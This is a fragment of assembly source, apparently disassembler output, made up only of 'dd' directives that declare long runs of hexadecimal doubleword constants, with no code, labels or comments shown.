dd 92911EB0h, 1500FC95h, 5249F742h, 0D52D6Ah, 0EC28031Fh
dd 69AA8118h, 96651701h, 566E99D3h, 58B0C8h, 64A8A92h
dd 0F1FB6B87h, 1389FD07h, 56306452h, 0F171A4Bh, 3CF6A90Eh
dd 92AEA6E0h, 2D00BAA0h, 5D7B880Bh, 0FE56CC7h, 96C6EE0Ah
dd 0B3A70E00h, 4F00645Bh, 4785FA4Eh, 1D3D120h, 37609534h
dd 0D879CA70h, 0C90701F8h, 0DCB08133h, 923BA890h, 0A84B6EA6h
dd 6957D720h, 0AF00187Eh, 0B75B491Eh, 781B1C79h, 5DBE0048h
dd 0FEF24568h, 8F77359Ah, 21A52E00h, 72FBE686h, 0A707076Ch
dd 40CB0CF3h, 0A8AEF25Ch, 37C7B600h, 5E98156Dh, 8A770061h
dd 0D76E2C41h, 167D09C6h, 0CE48200h, 0FB5B729Bh, 90850084h
dd 9679C5F9h, 1A0513F7h, 9F581EBDh, 0EA4CBC40h, 0E8DA02h
dd 0B4D9DB6Eh, 51337DCDh, 0EE209364h, 6A160C90h, 0C5D60019h
dd 0F80E2ABDh, 0C00C709h, 0AA2BF273h, 5064EEDDh, 24954Dh
dd 65316D4Bh, 8C57EB7Ah, 0CB1BAF00h, 2FEEB533h, 0DF3C50C1h
dd 3F8E679h, 6DC5888Eh, 0F7F819CBh, 1C00D530h, 5F6B1D0Fh
dd 0B2F583h, 85F1B186h, 6CDDF608h, 0AFDFDB18h, 0A30A56A0h
dd 0D21D8B0h, 78E0F2h, 0B7D1A6BCh, 65FD2985h, 0F3590B00h
dd 0E3C97409h, 4C96039Dh, 0DC9C1C9Eh, 4B5E24B8h, 0EEF81B4Bh
dd 0BEAD0600h, 560C768Fh, 4D13C01Dh, 54C7A0C0h, 0D474E9h
dd 8B82E63Dh, 0B0AA925h, 64F52000h, 0C384DE98h, 0E4B10094h
dd 0B4EBEC5Eh, 5D01F6C8h, 309EAC67h, 0DDD8378Eh, 9349006Fh
dd 0DE8BD3D0h, 6D00DF8Dh, 0C565ADEEh, 0A5C043h, 14917EA7h
dd 89663ECCh, 0E61BF509h, 924D83C7h, 878095EDh, 45F1BDh
dd 0AA67E18Ch, 0E25840BBh, 61430400h, 7ECD2039h, 771800C6h
dd 3065F3F8h, 551C82C4h
dd 63879C5Dh, 37F08898h, 85C759h, 105824A7h, 1AB49072h
dd 1C007CFAh, 37C325ECh, 3BFB4802h, 0CE03AF7Fh, 3585912Dh
dd 0CC56B2E8h, 0AAF0272Ch, 79960600h, 43D001h, 2F119BABh
dd 6093F9A1h, 0A407FCFAh, 0B4592606h, 0A9C62EA0h, 913700A0h
dd 1FD1F5EAh, 330F1A5Eh, 0A0CB4C2Ch, 0D6AD20FFh, 0E1E8007Ch
dd 0A990DCA2h, 0CA1C48F9h, 2DC038E3h, 0B1595BB9h, 0E6E003D3h
dd 0DFD1AA86h, 1527390h, 0A8B5D91Dh, 0F2C180B9h, 836FE6B7h
dd 7AF8073Ah, 40649C8Ah, 0BE65586Bh, 0FCA03D00h, 375C76FAh
dd 22D60B78h, 0C400CE92h, 8AF518BDh, 0ABC58C00h, 7C5C257Eh
dd 663500E0h, 24167F6Ah, 9030262Eh, 37CDE863h, 9A1500C2h
dd 347C0BA5h, 0AC00D662h, 5EB916D1h, 725FA264h, 72DE00DBh
dd 88F8D520h, 5503E1EAh, 750E62BAh, 3C1BC08Fh, 789853h
dd 418BD1D6h, 3BDF144Ah, 60588E03h, 2755BA61h, 317E3F20h
dd 0E39DA100h, 3E909602h, 601FF778h, 33998021h, 6798173Bh
dd 73BA7200h, 0C62F6E47h, 0FF0E07CCh, 0E00A6A5Eh, 0B2FC97CDh
dd 0C8C55900h, 0AF7CA454h, 57A7717h, 0BEF5B746h, 774880D0h
dd 0A50069D3h, 9E7D95F8h, 267EDB92h, 138F256h, 0EB37D99Bh
dd 0B0E1FC66h, 6299D1Dh, 2AE36000h, 1773B20Dh, 0B3B1E0h
dd 0DA6E7172h, 53009A3Ah, 0C2D5D676h, 0DBC6BDh, 92381963h
dd 0DC8D7423h, 2FCE1000h, 1AB64CA6h, 70FC90BFh, 7C890B3h
dd 41ED2044h, 0A1B4E079h, 195C5662h, 92350132h, 0BC5BA831h
dd 5487ECC3h, 0AC9B7DA0h, 57AD008Ah, 126A15A6h, 5B007470h
dd 7D873758h, 0A0C9D2h, 0E782DFE1h, 92E066F2h, 6B6CD107h
dd 61E3DA78h, 7083A03Ch, 0B9B33A22h, 7DCEC00h, 97AF19B0h
dd 0B100A0FEh, 0B7FE40AAh, 0CD9975h, 96339BFh, 9A3BDB42h
dd 2986F201h, 0ACBC765Ah, 0D44066C5h, 0CC25D5h, 8253500Dh
dd 12A76911h, 0B2EDF800h, 0E030905Ch, 0E4651510h, 0B00C4ACh
dd 5A7943CFh, 8C1FA066h, 0E4001764h, 0EF027BCCh, 82140074h
dd 2013DB94h, 85301808h, 1996E0C1h, 21CE004Fh, 9F91FDFEh
dd 0C600F10Ch, 83C21601h, 0EF7367h, 0BEC03CE5h, 79E48E3Eh
dd 19177800h, 0A77BF48Dh, 314B0042h, 15FD72AEh, 0FE2CC165h
dd 7F805499h, 407BF22Fh, 0E51A004Fh, 9366B53Ah, 0AE0FF978h
dd 0CFE75235h, 9B014019h, 5DB37Bh, 326F7476h, 6544B11Ch
dd 0D86EC600h, 1EADD2Dh, 11290396h, 0BA5EC8A9h, 0CA2F097h
dd 86007003h, 52BE2C6Dh, 3A151875h, 0C61F1226h, 85F39E3Ah
dd 81397485h, 0D4E92C60h, 70158C0h, 21DC0A79h, 27FCBB37h
dd 80B22Eh, 0FB1F5D71h, 0F05E2631h, 3E004E79h, 0BD3901B5h
dd 12E64D04h, 4BB01Eh, 761D6D8Ah, 5E000B83h, 0EC685B6Ch
dd 185A28Fh, 0C0D55B9h, 60BF09C3h, 3C0FFE00h, 205D5BEAh
dd 0AB946F11h, 9F711D5Ch, 8780FF17h, 0CBD569D2h, 41005120h
dd 5C0DFBF6h, 0FB10244h, 0E0835375h, 9113E920h, 370A0962h
dd 0BDA2A9FCh, 8BE3013Ch, 0A3E6A556h, 36DC630h, 0F108D22Eh
dd 51B0E827h, 0E416EEA2h, 0F126366h, 5BC35C05h, 69ED7C80h
dd 0F436597Ah, 6BAB1203h, 1100306Ch, 0F9106144h, 751B59Fh
dd 2A4918C1h, 93C66011h, 2914F22Ch, 0FE466B0h, 0C1C37D4Eh
dd 0A934AC3Ch, 188067E5h, 0DF0A6157h, 0EDE4E940h, 30089EEh
dd 0DAF1A73Eh, 1CFDC86Bh, 8074FC41h, 8202CD91h, 3916B67Ch
dd 0C70047CAh, 30F4E0D7h, 258E00DAh, 0CBD866AEh, 5F72A999h
dd 3C73114h, 4DF40595h, 5C90AC8Ah, 0FEDD55h, 6A5F701Ch
dd 441A4B69h, 0E7ED3A00h, 43CDC091h, 7DD8980Dh, 5E1B0094h
dd 5163D7Ch, 800ED8C8h, 608C7995h, 4DB5203Ch, 78751FBEh
dd 9A0A046Dh, 0BC00A317h, 9D008CADh, 1112865Fh, 5EBE806h
dd 1BC1AA85h, 24A1033Eh, 0FFE9D88Fh, 0E3F33009h, 984AF41Ch
dd 0C8443A4Ch, 85E90481h, 8048CCC5h, 0C75C0B60h, 0D253CE0Bh
dd 0F4D5817Ah, 0F0205B7Fh, 0F89D071Fh, 40E39303h, 0CED23BF6h
dd 0A9E6B800h, 0BF645F52h, 7CB60073h, 15B0C9B3h, 2501D774h
dd 3BF4BCDBh, 8DFCC5CFh, 0E5F826h, 94C20F79h, 18B89330h
dd 0D00B5D71h, 3B9C6Bh, 0FAE3A078h, 39F760DDh, 0EE70F1A3h
dd 4A33C600h, 831F9EC4h, 0E2C1C19h, 404DD295h, 4908F5D4h
dd 7C00B590h, 0A768BE4h, 9A50E50h, 0DA19FE30h, 0D5D49C00h
dd 4C00D3C1h, 922C4239h, 0BD68EF7h, 7CBB5C88h, 0D0DC0800h
dd 25009D8Dh, 0A30D9959h, 2666F71Eh, 6CE60Ah, 554B7813h
dd 0E80FB0A0h, 363DB7h, 41F9CC69h, 0FC9200DCh, 2A01EF88h
dd 3B88046h, 33E0C94h, 5594E982h, 183000FBh, 0ECE897C3h
dd 0E30049C8h, 1D2256F1h, 0E0CAD3h, 0DA24D5EBh, 8FA66717h
dd 94165500h, 0CFE939F4h, 0F887ED1Fh, 17E42D65h, 444CEEE0h
dd 55007869h, 0FAA34EA6h, 19EC3FEh, 76C44708h, 609853F1h
dd 7807AB4Ch, 0BD7B6264h, 5A3B4090h, 0AF60008Bh, 23AEEB70h
dd 0EA004884h, 3449240Ah, 55CD96h, 6FDE8AC0h, 3260D00Dh
dd 0B2E85F02h, 0E0AB4EEEh, 7403351h, 0F7E305EFh, 3F5A0A7h
dd 421E75E9h, 731D5CFCh, 67EBEC00h, 53EE7Ah, 660A034Eh
dd 435116B6h, 6A114700h, 7922E527h, 0EDD009Bh, 1C634178h
dd 2C020C76h, 7F37117Eh, 0D369C0C9h, 765F4CCh, 8E30CF2Bh
dd 0DFBB00FEh, 0AE000205h, 0C00436FDh, 0F93C88h, 5082A567h
dd 571C6D18h, 0CBE6D3FEh, 84C4EB00h, 0DB8C31C3h, 0E8BC00CAh
dd 2EC72F1Ch, 300CF2Ah, 0EE1256A5h, 556E1Fh, 0C1508A7Eh
dd 0CA5A06FDh, 0BC4B7200h, 0E99EA285h, 430F33Ah, 6F23019Fh
dd 6656D0F5h, 0D472FAB3h, 0CA80DC96h, 0FC2EA424h, 84D60583h
dd 0EFD8D43Fh, 0B9811B80h, 0DB670054h, 658A8E80h, 7A58BBCEh
dd 0C22409BDh, 0CACC6336h, 644445h, 6274B5E6h, 0CFD2D7Ch
dd 0A5D04805h, 0A48D75E8h, 0ED430DDh, 7E510274h, 7AED3BBBh
dd 3A82E0E0h, 1FCAF809h, 63B88041h, 0D750BFh, 0D65C8751h
dd 654AD1F1h, 5772A300h, 9E6AEEF0h, 612500A2h, 0FF2AEC30h
dd 0D23FBD63h, 0C13F0195h, 35519F5Fh, 525F830h, 89EB2DC3h
dd 0E469C10Ch, 8C45F431h, 22D2B402h, 0C82FEF9Ch, 0DDA630h
dd 4E9ECA64h, 75062E24h, 166C6248h, 50415A7Ch, 0F3A8166Fh
dd 9CA738D8h, 0DB980080h, 1FBCB062h, 4FF838C2h, 5A660065h
dd 92006359h, 0E5B3FD88h, 3AAACC7h, 8C6A24A0h, 0A0FF48E8h
dd 9DE1062Ch, 40531A03h, 0DB2D9C9Ah, 0C98780B0h, 81B3137Ah
dd 0BA1000DAh, 355DA9FBh, 0C0009A75h, 0C279C643h, 8A81CFh
dd 0ADA69242h, 0EF370D19h, 6471D003h, 0C84CE6AAh, 309970D9h
dd 25B9BACDh, 3802C0BEh, 89E6B0B6h, 1D0060B3h, 0EF171344h
dd 95FA00A1h, 1E27510Fh, 0FD019677h, 5E22DFCCh, 0B5E8BF81h
dd 55849A02h, 51603CB6h, 78264CD1h, 80E7021Fh, 1131BFABh
dd 0A4037A75h, 0A2362B13h, 8465D21Eh, 0E3C00DAAh, 0AB3976h
dd 3F61A680h, 25909B7h, 2700BC9Eh, 8849FA31h, 46CD00AFh
dd 145341E9h, 8C025530h, 0C6ABEE11h, 2E8458BDh, 705A60h
dd 3C3DA7CFh, 0C824B932h, 0E000EFE7h, 0BAAD46D1h, 3BB77248h
dd 4700D8C1h, 0F3408091h, 66B8A009h, 0C372F100h, 84A8DD81h
dd 0ADC27A9h, 9DBB9801h, 902C15h, 6130CDE0h, 3018088Ch
dd 809021C2h, 89FE3924h, 1EBD1909h, 152420E3h, 249F720h
dd 82ABB327h, 6F6010B1h, 0CC00D7C7h, 0D6738934h, 0F24BE76Ch
dd 1DB30075h, 8A057848h
dd 99005F47h, 0E78DDD46h, 154E364h, 312F115Dh, 0E22D8015h
dd 0FB34E075h, 0CEF40057h, 0AE86C597h, 0A603BA47h, 4E83E2B7h
dd 5874DCh, 0F35DE3D7h, 577393EDh, 41D3660Eh, 2792151h
dd 0B3C88B74h, 0E8A7FACEh, 0A0BF00B0h, 0E48AD01Ah, 0D96EF0CDh
dd 0FFDE8048h, 0B83CD157h, 3621008Ch, 0A9749AD2h, 0CB074D3Bh
dd 0BE78988Ah, 67E31410h, 0ADD91DBAh, 94978312h, 0E8D87001h
dd 361F13AEh, 0FA409817h, 0ACD8DA51h, 15ED0123h, 7C9344F2h
dd 0C33C2060h, 94C8AF0Fh, 99622719h, 8B0AE6E0h, 4BF9003Ah
dd 385108E1h, 6B0069F2h, 1D3CFCBEh, 59721182h, 3512D479h
dd 2D1440DCh, 0F89A88AFh, 1D30D61Ch, 0B236803Dh, 4E6C749Bh
dd 4C804CC7h, 6100A53Ch, 30F256ADh, 0DE00E9F1h, 0CE0FAE1Ch
dd 0C7EE31h, 0CD3EE87Eh, 14EA3D4Ch, 9D11BC3Ch, 0E5D2D726h
dd 0ABE0B00h, 1794173h, 66E6381Ah, 816E0EEBh, 64BC3B88h
dd 1F4C495h, 0F8D5001Ah, 124BC674h, 66122D07h, 84905C8Dh
dd 2E11815Dh, 0C2D1FB2h, 24302736h, 2CEE7706h, 299395h
dd 78BC1FD1h, 0E5EB4B37h, 0A55E451Fh, 7D816084h, 16A84893h
dd 7E4092h, 9652629h, 7139D49Eh, 34550060h, 0C66E7D53h
dd 5B0BBFE0h, 0F078D441h, 94071DB8h, 405173CEh, 5638CBE0h
dd 0E6860049h, 4CB52C8Bh, 0A105038Eh, 2739CF80h, 0A454F007h
dd 11CD6411h, 0EAE0D20h, 65CAAF7h, 0D144ABA3h, 82C69DD8h
dd 4303CC00h, 6789B226h, 0DF6802BEh, 0BB585C2Bh, 5F65F987h
dd 597A2983h, 0C0D56F82h, 39C9E41Bh, 0DA80A954h, 7C07B1D9h
dd 3B00110Fh, 66F635F7h, 0EBDFF8h, 8F5C55ABh, 94DBEF0Eh
dd 2DB07607h, 5060856Eh, 383842BCh, 0AF8079EBh, 0C68D5729h
dd 1601F57Eh, 753CD548h, 0F270DCE1h, 0AF9D07CEh, 90576827h
dd 448A2493h, 72695800h, 770F8605h, 7ADB01Fh, 0C5520BF7h
dd 9757B39Ah, 36B16F0h, 69E7F0Bh, 84037571h, 7AA0A785h
dd 99605C1Bh, 8C235828h, 0BEB494D2h, 6B01713Fh, 9E68E761h
dd 0F54C3072h, 0AA4D7D02h, 684BE8B2h, 7ABF86CCh, 0A882093Ch
dd 5045ADA2h, 3C18C8D0h, 3C5DE0A4h, 8821960Bh, 0AA15B840h
dd 4E444CC0h, 76FCC04h, 10E02D69h, 0BFE4A0CAh, 67283314h
dd 0B2CF188Eh, 477EC0C4h, 17EE46CCh, 80B5F801h, 3DF8808h
dd 0B8075370h, 0D615BBACh, 5C708B20h, 463D0F5Bh, 786CCFFCh
dd 40FB6738h, 0DF296D2Ch, 742DA0C0h, 3061E2EBh, 0E287998h
dd 13253446h, 9094217Eh, 38BCA3D5h, 0AF306731h, 5408817Bh
dd 0A097AB2Eh, 8B131040h, 0C1C0348h, 0E2348CE4h, 0E1A049B3h
dd 0E00ECBB6h, 0A05CD7A8h, 680F990Dh, 0F4A73B39h, 61598880h
dd 0BB3B7672h, 55B54D00h, 0B3A3B97Fh, 65BE0091h, 0E9D6676Ch
dd 13E2098Bh, 8CB1CE00h, 0C1C8EC5Fh, 0A4EB00F6h, 957B9FDEh
dd 24002A61h, 0A5280976h, 92E501h, 18D1A1CAh, 4170C43Fh
dd 13B85200h, 119A745Ch, 63D50629h, 0C8E72FE8h, 0AD303675h
dd 0BD59D64Eh, 4685003Fh, 9D21DEF3h, 0D24C3777h, 3ACE00F3h
dd 0AA54CFECh, 698D01BFh, 0F7513C2Ah, 0AED6E0A4h, 50E99501h
dd 0E1E35D97h, 0C860A9D9h, 420514B4h, 1700EE22h, 0A134A3C1h
dd 0C7015DBFh, 196DB9E2h, 7ED03D83h, 0E1F51CBCh, 0E8650C8Ah
dd 4303BAA8h, 18583EDFh, 5588C03Ah, 35D30A53h, 15E7CCF3h
dd 9629C8AFh, 0A4705704h, 55F70007h, 0B0A1DA64h, 3F008410h
dd 939A78C0h, 246DFC95h, 0D4038Ch, 487A8EEAh, 2011834h
dd 7FAB4EEBh, 67204737h, 0C8F3756Ch, 45428A29h, 68432765h
dd 880B0588h, 0CD887116h, 429F8866h, 90594A88h, 282F8F12h
dd 2142394Fh, 3C3E1427h, 2863C811h, 0EC221487h, 70BA220Ch
dd 197AF122h, 0C9A897D3h, 8246125Fh, 259C5A3Ch, 171404AFh
dd 80024850h, 8339E8BAh, 670F9DE9h, 80EE7B6Bh, 99B27288h
dd 4CF90062h, 1A83CD47h, 81002011h, 0A2F5A0Eh, 0D21598h
dd 5C80418Ah, 0D40C82E6h, 21DC3900h, 33973DCAh, 0A83F0192h
dd 545322A9h, 0ADD8FB3Bh, 39008CAFh, 3DE3E598h, 72A30AF3h
dd 10FA6030h, 111F9955h, 7207BC01h, 6C9ADB9Eh, 0EA10020h
dd 8F55952Eh, 0FD02C920h, 720F0D7Eh, 2B360Ah, 56A6273Ch
dd 0B2BE0081h, 9B75F6F5h, 0DFB04566h, 2D3EAF00h, 0E557910Fh
dd 972E063Dh, 114DA4FCh, 0ED665A00h, 7051A306h, 0FED0259Eh
dd 76E8F400h, 0CB01416Dh, 57C13330h, 0D8B92269h, 3D567D07h
dd 0C62630A4h, 0DC004D83h, 95BFE3C9h, 5A2FF6h, 0CB8B756Eh
dd 0AC77FA9Dh, 4F00EC73h, 0C43D8F82h, 1D0EC110h, 0C0BAA4EEh
dd 5231495h, 0F0E62426h, 0F4BB8B00h, 0EC250882h, 0FF1906CAh
dd 29EB3672h, 0B83AB107h, 0FEA05D37h, 0BCF459h, 0F1127C6Ch
dd 0A7D90B04h, 55F6800Ch, 7683067h, 606CC609h, 523C20DFh
dd 423D5038h, 89E58062h, 374D165Eh, 0BD0200CCh, 0E73DD96Fh
dd 11006B88h, 18C20F19h, 3C20F4h, 53BDB7D4h, 15E574D7h
dd 1F912200h, 52400B44h, 4E9F0061h, 424759FFh, 6800C5C1h
dd 0F4A0AEE6h, 282FD2Bh, 6E921A57h, 0BE80194Fh, 0E8AAFFF7h
dd 7B249A0Eh, 5BBBA7B5h, 22BD4161h, 0FA58074h, 5C0D71BCh
dd 0DA420340h, 3100FEF7h, 0B0F18495h, 70763BDDh, 93390F08h
dd 29E27E5Fh, 9C80A021h, 1BE6347Fh, 8E9CCD00h, 0E1AB4070h
dd 383CF681h, 32BE8DD2h, 9FFB680h, 97CD3830h, 9EBCBCA0h
dd 485F4B00h, 1C2775B4h, 72C0009Ah, 19E9ED8Ch, 5C90E796h
dd 8FB0C506h, 115599h, 0C8435883h, 24115C06h, 0F6B3A001h
dd 0CF8889C3h, 4B6860DEh, 190913Dh, 0B55F3E1Fh, 0E8F85062h
dd 9D00DC5Eh, 932113C1h, 7EA93029h, 2A6800B7h, 51B194D3h
dd 0EA00D25Ch, 87F099FFh, 1F8BF50Ch, 7DC5E679h, 0A3F90100h
dd 9FA22D0Ah, 0D49C1406h, 10048Eh, 44FA0511h, 99213C51h
dd 805B4638h, 0ABB4CAE4h, 749ECh, 8973AD26h, 0CD128F04h
dd 8C561400h, 0D1BB35FDh, 0CC7C81h, 197305F6h, 0D4AE0350h
dd 760EDCA0h, 468422h, 3ADB5AF9h, 166D4330h, 805DFE3Bh
dd 5CC61995h, 7ACFB1B4h, 6BC400E2h, 0BF6A531Ah, 0E00FD7Fh
dd 4063E490h, 38E3DF3Dh, 7B00B40Ah, 1EC75707h, 283C663Ch
dd 52C3F6Ch, 4FA793F8h, 5FED9600h, 2A3ABAAAh, 0E445C2h
dd 388BD78Fh, 3BFB32A2h, 103B1A78h, 417B0724h, 71F3C06Dh
dd 0D266C87Dh, 0E137B43h, 6C5E33B8h, 3C678E80h, 9C0CACAAh
dd 10726D27h, 9F780FECh, 5760AF3Bh, 0E13E2C16h, 6F651000h
dd 9B92B3B6h, 0C0C124C9h, 549E00ACh, 0E021BBE2h, 0D6643D00h
dd 42F2DBADh, 0BA1A00FBh, 0AF7EF8D8h, 3C00B6C5h, 352AED86h
dd 18909C59h, 38205FE8h, 260939E3h, 813BC0E6h, 63B7C190h
dd 0F24F4A00h, 93D9DD3Dh, 84006797h, 7E3B52B1h, 106160EDh
dd 2AF38883h, 1E969E01h, 14D5991Ah, 76C1AC60h, 0E6E7127Ah
dd 70901515h, 58724D02h, 20601667h, 0C109323Bh, 838935h
dd 7F60519Ch, 133D016Fh, 0BB4F9A10h, 82006414h, 2FC9B000h
dd 4B4DAD12h, 41990011h, 640A3351h, 7000E7A8h, 13BBF98h
dd 98232562h, 0D0D8058Bh, 0EE58AFD6h, 0E0ED8E00h, 92CD77h
dd 42F36F1Dh, 46259C4Eh, 0C73C1F01h, 96DB7D06h, 5E94E0h
dd 0FC8BA63Dh, 92EC341Dh, 0BC7A3300h, 3629FFEEh, 0C520496h
dd 805998A8h, 0F3167248h, 0E3B7D00h, 3CCB5A25h, 0D28000C2h
dd 0AF12D879h, 2B00CA54h, 8D2AE546h, 7A148252h, 0D1A91C4Dh
dd 88287Ch, 0A43648E6h
dd 0F2A6FF13h, 0A8F81528h, 54D52F03h, 0B51EE5B4h, 90860580h
dd 0F54500ADh, 9A44212Dh, 0AA90F348h, 1CB43Fh, 66863898h
dd 186E36h, 9239A22Eh, 23934A32h, 7AB7D107h, 81594D67h
dd 0E205D2E3h, 583460h, 0FAE92F0Eh, 3C357606h, 0E1027DF4h
dd 50A9D794h, 0F066E320h, 3174539h, 0ABE07C18h, 86C80A90h
dd 0F6006980h, 63C6DD48h, 54A4DE7h, 9A3E0314h, 8A9B809Ch
dd 0EE0B921Bh, 0E1ED5BEh, 73A21904h, 0E0DA94E8h, 36FA0015h
dd 22B589AAh, 0C6007B9Dh, 0D4B14608h, 795EE24h, 64E5A83h
dd 10A18745h, 0C8DF1533h, 0B574C00h, 0BC1EC48Eh, 3E650350h
dd 71AFCA5Eh, 0CFBD17B8h, 0FAD2F72Eh, 9E912500h, 1DB8BB2Ch
dd 9F5FB6B2h, 0A33940C8h, 335C4660h, 7D80BA04h, 0B0C0AEE3h
dd 5A828Ch, 6DB66872h, 51A8DC9Ch, 286B693Ch, 910FB02Fh
dd 403822E9h, 0C49BF735h, 8F9F0524h, 801F705Fh, 1B98F98Ah
dd 0F47513Ch, 0E0DEF1CEh, 80B26BEh, 79B89270h, 16F507D2h
dd 3034361Dh, 0E20F6A18h, 523DCD00h, 2FBBDA83h, 6E3800D6h
dd 0ADBE8CA4h, 7024F27Ch, 5500A4AAh, 1CD4CDBBh, 5DAC0E4Eh
dd 0B204690h, 0B44D6682h, 0FB3B6000h, 0AE483394h, 0F21A004Fh
dd 55B6E922h, 2D0007A5h, 86BD6963h, 2032343h, 891BE0B2h
dd 0B2C0E38Eh, 7006348h, 7C13445Eh, 786DECE9h, 33C507E5h
dd 22DF8AF7h, 6E60716Eh, 24B8C092h, 288F9800h, 97754878h
dd 3A6300E7h, 9B5B6022h, 0A0004D13h, 0CF4A71A8h, 9178B3h
dd 8FE79CFCh, 41AF2A3Fh, 95906F0Ch, 0EE0AEh, 5E682DBCh
dd 7CD8AF6h, 0C806E00Eh, 2A940FFh, 0A0A66615h, 9E58F8Ch
dd 0B515A60h, 0E3C6F200h, 6988A59h, 290037E6h, 0F2D01E15h
dd 72DD345h, 741A284h, 316FE065h, 0C600C429h, 3D4926B2h
dd 24E8EAFBh, 0E941F48h, 0DEC98E78h, 0B37AFA80h, 490082C4h
dd 125B5965h, 0F3B616h, 0D2030AF6h, 3D75C5A8h, 96E5C800h
dd 0C4FAE343h, 4D7800F7h, 5F1AAADh, 10C0367Ah, 3FFB1A9Dh
dd 3DCB0080h, 0B3887342h, 0D1012230h, 13D2905Ch, 1C205A8Ah
dd 422B0049h, 51E8D311h, 5B6D2355h, 37C00818h, 21363D7Dh
dd 78334800h, 5C0508E5h, 6C09B375h, 0ACC77Fh, 4BB5906Ch
dd 84210066h, 10562034h, 0A1008D6Dh, 0AD86F0FBh, 551E74h
dd 78997D41h, 4B58D734h, 0F233BD3Eh, 563D201Eh, 1B682900h
dd 40552863h, 0ED3A7A38h, 227C9D05h, 2FCDB282h, 456BC03Eh
dd 0D23A001Dh, 0F32909C8h, 8BE41E3Fh, 56D7E400h, 265538F6h
dd 14C107C3h, 16E7398h, 0FD5C5BF2h, 977AFC39h, 5FEB8300h
dd 9023DE9Fh, 0C3894F26h, 0DADA3220h, 0A339DC78h, 0A5A68062h
dd 39F4C20Ah, 3DE2013Fh, 4CE5ADB8h, 1F646065h, 0F85C4F01h
dd 0CBD3DE5Eh, 0A1B060h, 0B26C39B7h, 0E66E01C3h, 0EE7250F6h
dd 653DE507h, 9D10A390h, 1CF21075h, 0FEDECFFAh, 867E1300h
dd 0EB91F9ACh, 0B42807B0h, 993F40C9h, 924894h, 0E193742Dh
dd 56A9F3h, 9AD4B0BDh, 2E383D21h, 8CCB6907h, 0A4D0FA65h
dd 0E76D7Ch, 2B75C239h, 64AD7418h, 38F19E03h, 0CA1FC94Fh
dd 0C7E0E071h, 0BCA85982h, 8DBEB400h, 0B08681B3h, 13BDE500h
dd 9804A669h, 22EA0312h, 0F33EA12Ch, 823CADA8h, 174CDD00h
dd 47CFB839h, 8AE100EAh, 0DF6C53C4h, 592874B7h, 5E10EC3Fh
dd 0C60FF039h, 4120AE18h, 8B8D3766h, 0BD05E000h, 5E9A1C95h
dd 21100090h, 0E55B6382h, 9401FC6Eh, 5D6273CAh, 0B5318EA9h
dd 3B13D960h, 0C4D818D8h, 4B00BB39h, 0E66ADDD9h, 8F0CE87Fh
dd 212A6639h, 319C0161h, 0FFE24090h, 5FFC34D8h, 10004374h
dd 3293D1C7h, 40F9750h, 0B684A7AFh, 0C5EC80AAh, 3C2E9070h
dd 830040F1h, 0C4344068h, 9613944h, 2CDF0E00h, 314F592Bh
dd 28250D03h, 0B872FA7Dh, 31FCF57h, 40AD70C2h, 2A815F44h
dd 4BF426Bh, 0B3387CE8h, 5A01B900h, 89111E03h, 2CC008Bh
dd 0E3180947h, 0C71CF667h, 9189067Eh, 0A03C61BAh, 1C94B460h
dd 1C40E5Ch, 8F7C62D2h, 1978E8AEh, 1712FC98h, 14D311B3h
dd 6AA4E04Dh, 50AD1DD2h, 5C80FCC0h, 2FB7F75Bh, 740BEF71h
dd 80131A3Ch, 97F8308Fh, 3B17F442h, 99BF8A55h, 0F5896B80h
dd 0C23BD402h, 0C8C44509h, 0BA6C403Dh, 34FB8B4h, 0AFA8F961h
dd 6EFF7C7Eh, 48D801Dh, 0BFCD6468h, 12B81001h, 939DA68Eh
dd 1ED24F8h, 0BBD91E19h, 0D0100AEEh, 0CA0011FDh, 9663C53Ah
dd 982E697Bh, 1E92618h, 48203E1h, 0AFC00B24h, 3F00D7BFh
dd 7226DA81h, 0FE94792Fh, 9E0A1C5Dh, 0A221C09Bh, 0C6957707h
dd 5C0AECB8h, 802AEAF5h, 396CED00h, 0B9E94Ch, 0BED41A63h
dd 0D59A67A2h, 2B95E403h, 0F8458DA8h, 3AD96E7h, 2D301E08h
dd 51806339h, 3A00B6E3h, 0C7999DACh, 3A0694C1h, 9C006908h
dd 374E34F2h, 5D00074Fh, 90D3DA67h, 0A155A0h, 1A21ABC6h
dd 0BF253165h, 70C74Ch, 6AC4A72Dh, 0C04FD9h, 0FF2483ABh
dd 0FC18C312h, 47AC234Ah, 0E100244Ch, 641940F7h, 0A7EA9967h
dd 0E0F06825h, 4C85ECh, 75CB6654h, 64F98207h, 126C014Ch
dd 3CC03D7Bh, 2E86E697h, 80E07E61h, 0EFD33941h, 58828BEh
dd 96F8003Fh, 473779F1h, 9C17A8CFh, 24007149h, 0E0B9E182h
dd 81DE04FAh, 9090F056h, 0E92BA872h, 0DDBE2F6Eh, 0FA8C8740h
dd 3B2DD69h, 86048B36h, 84E03E7Ah, 0BF00E616h, 5FCB7618h
dd 0B9354E4h, 0C330F7A1h, 9862A600h, 2B2C846Dh, 0D60AC5Dh
dd 0EA9E2Eh, 0AA675B36h, 473C5A3Dh, 2F0E867Bh, 1EC3444h
dd 2917B2Eh, 8EDBF880h, 90C9D58h, 0D73E2402h, 4084276Bh
dd 1CDAE0h, 4BA05FB0h, 8E4F5B80h, 82ECF14Ah, 0A9B3FE07h
dd 15DEA075h, 76041AF6h, 8A94A1DDh, 0CE112097h, 92087287h
dd 0AA33CD00h, 0DA93B2ABh, 0F23B73A7h, 11E705Fh, 875A197h
dd 45EC9B56h, 0C5B400BCh, 96F42BC4h, 0F7BAE4A3h, 0DB01887Eh
dd 0C9BBBF42h, 0B7F5F8h, 0E90364F6h, 0AEE6FD86h, 0B809555Eh
dd 506020B1h, 21E85h, 5D44CA2Ah, 6517CB54h, 9828800h, 8E5319B4h
dd 74D90738h, 9FF687DFh, 0E37732C0h, 7513AFD5h, 0E00214Bh
dd 4A70CAF2h, 42E5006Eh, 0C0B1B45Bh, 5F0452D3h, 0E373C9A2h
dd 0C32730C2h, 0B0A3A573h, 0C5B25A07h, 12566376h, 5301006h
dd 0F0E528h, 0BBEE2B97h, 0E2FEB698h, 18A17B00h, 0F120B792h
dd 33CB0045h, 0A797F65Bh, 0BB1517DAh, 0B887E32h, 604C831Bh
dd 18D51CC4h, 5939D2DAh, 0EF032C64h, 0FE2610A2h, 96F816F5h
dd 19D088C7h, 3D052E02h, 43C5ECC0h, 7007AA23h, 0C81D0114h
dd 46141B5Dh, 6BBDF422h, 187C3500h, 5083A956h, 322301B7h
dd 425C3D19h, 20686007h, 100034F2h, 0C8C393A9h, 0FD6AFA48h
